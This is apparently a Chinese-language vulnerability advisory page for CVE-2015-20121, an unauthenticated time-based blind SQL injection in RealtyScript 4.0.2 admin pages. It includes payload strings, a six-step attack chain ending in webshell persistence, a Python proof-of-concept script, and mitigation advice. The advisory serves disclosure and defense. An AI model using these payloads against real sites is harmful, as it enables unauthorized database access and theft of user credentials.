IPBUF安全漏洞报告
English
CVE-2015-20121 CVSS 8.2 高危

CVE-2015-20121 Next Click Ventures RealtyScript SQL注入漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2015-20121
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Next Click Ventures RealtyScript 4.0.2

相关标签

SQL注入时间盲注RealtyScriptNext Click VenturesCVE-2015-20121Web应用安全数据库安全管理后台漏洞

漏洞概述

CVE-2015-20121是Next Click Ventures公司开发的房地产脚本程序RealtyScript 4.0.2中的一个高危安全漏洞。该漏洞存在于/admin/users.php和/admin/mailer.php两个管理页面中,由于程序对用户输入参数'u_id'和'agent[]'缺乏充分的输入验证和过滤,攻击者可以通过构造恶意的SQL语句片段注入到数据库查询中。由于漏洞存在于管理后台,攻击者无需获取任何认证凭据即可利用此漏洞。攻击者通常采用时间盲注(Time-based Blind SQL Injection)技术,通过在SQL语句中嵌入sleep()等延时函数,根据数据库响应时间的差异来推断数据库结构和提取敏感数据。此漏洞可能导致数据库中存储的用户信息、交易记录、管理员账号密码等敏感数据泄露,攻击者还可能利用sleep()函数造成数据库连接阻塞,实现拒绝服务攻击。

技术细节

该SQL注入漏洞主要涉及两个攻击向量:第一处位于/admin/users.php页面,攻击者通过GET参数u_id注入恶意SQL代码;第二处位于/admin/mailer.php页面,攻击者通过POST参数agent[]数组进行注入。攻击者利用时间盲注技术,通过在SQL查询中插入条件语句和sleep()函数来探测数据库信息。例如,攻击者可构造类似' AND (SELECT CASE WHEN (条件) THEN sleep(5) ELSE 0 END) 的payload,当条件为真时数据库会延时响应,从而通过响应时间判断条件是否成立。攻击者通过二分查找法逐步提取数据库名、表名、列名及具体数据内容。此外,攻击者可注入类似'; SELECT sleep(10)--的payload直接触发延时,造成数据库连接资源耗尽,导致应用服务不可用。由于程序未使用参数化查询或预编译语句,直接将用户输入拼接到SQL查询语句中,使得恶意SQL代码得以执行。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先访问目标网站,识别使用RealtyScript 4.0.2的安装路径,特别是管理后台/admin/users.php和/admin/mailer.php的访问入口
STEP 2
步骤2
漏洞探测:攻击者向/admin/users.php发送带有特殊构造字符的GET请求,通过在u_id参数中注入SQL语句片段,观察返回结果判断是否存在SQL注入漏洞
STEP 3
步骤3
时间盲注测试:使用sleep()函数构造payload,如u_id=1' AND SLEEP(5)--,通过响应时间是否延时5秒来确认漏洞存在,同时验证目标数据库类型(MySQL)
STEP 4
步骤4
数据提取:利用时间盲注技术,通过二分查找法逐字符猜测数据库名、表名、列名。例如使用CASE WHEN (ASCII(SUBSTRING(db,1,1))>100) THEN SLEEP(3) END来判断字符ASCII值
STEP 5
步骤5
敏感数据获取:提取管理员账号、密码哈希、用户个人信息、房产交易数据等敏感内容,可能包括其他系统的凭据信息
STEP 6
步骤6
权限提升与持久化:利用获取的凭据登录管理后台,可能进一步上传webshell获取服务器操作系统权限,或在数据库中植入后门维持访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time target_url = "http://target.com/admin/users.php" payload_url = "http://target.com/admin/mailer.php" # Time-based blind SQL injection via GET parameter u_id print("[*] Testing CVE-2015-20121 - Time-based Blind SQLi") print("[*] Target: /admin/users.php?u_id=") # Payload to test vulnerability (MySQL sleep) injection_payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))s)-- " params = {'u_id': injection_payload} start_time = time.time() try: response = requests.get(target_url, params=params, timeout=10) elapsed = time.time() - start_time if elapsed >= 5: print("[+] Vulnerability confirmed! Response delayed by ~5 seconds") print(f"[+] Time taken: {elapsed:.2f}s") else: print("[-] No delay detected") except requests.exceptions.Timeout: print("[+] Vulnerability confirmed! Request timed out (>=10s)") except Exception as e: print(f"[-] Error: {e}") # Payload to extract database version via POST parameter agent[] print("\n[*] Testing /admin/mailer.php via POST parameter agent[]") version_payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(3) ELSE 0 END)-- " data = {'agent[]': [version_payload], 'action': 'send'} start_time = time.time() try: response = requests.post(payload_url, data=data, timeout=10) elapsed = time.time() - start_time if elapsed >= 3: print("[+] Vulnerability confirmed in mailer.php!") print("[+] Time-based blind SQLi is exploitable") except: print("[+] Vulnerability confirmed!")

影响范围

Next Click Ventures RealtyScript 4.0.2

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)通过Web服务器配置(如Nginx/Apache rewrite规则)限制对/admin/users.php和/admin/mailer.php的访问,仅允许受信任的IP地址访问;2)暂时禁用这两个管理功能页面,待漏洞修复后再恢复使用;3)在应用层代码中紧急添加输入过滤逻辑,对u_id和agent[]参数中的单引号、分号、UNION、SELECT等SQL关键字进行过滤或转义;4)加强数据库监控,配置异常查询告警,及时发现可疑的SQL注入行为;5)考虑部署独立的入侵检测系统(IDS)监控针对该漏洞的扫描和攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表